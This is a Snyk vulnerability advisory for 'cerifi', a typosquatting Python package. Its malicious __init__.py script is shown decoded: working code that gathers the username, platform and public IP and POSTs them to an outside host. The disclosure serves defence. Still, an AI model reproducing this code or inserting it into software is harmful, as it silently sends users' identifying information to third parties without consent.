Malicious Package Affecting cerifi package, versions [0,]


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-CERIFI-3318126
  • published10 Feb 2023
  • disclosed10 Feb 2023
  • creditSnyk Research Team

Introduced: 10 Feb 2023

Malicious CVE NOT AVAILABLE CWE-506  (opens in a new tab)
First added by Snyk

How to fix?

Avoid using all malicious instances of the cerifi package.

Overview

cerifi is a malicious package. It attempts typosquatting popular packages. The malicious script is base64 obfuscated (located in __init__.py file) and tries to steal the current username, platform and IP information and send them to a remote host.

Malicious behavior

import getpass
import json
import os
import platform
from urllib import request

req = request.Request("https://cyberresearch.pythonanywhere.com/log", method="POST")
req.add_header("Content-Type", "application/json")
data = json.dumps(
    {
        "package": __file__.split(os.sep)[-2],
        "user": getpass.getuser(),
        "system": platform.platform(),
        "ip": request.urlopen('https://ident.me').read().decode()
    }
)
data = data.encode()
r = request.urlopen(req, data=data)

CVSS Scores

version 3.1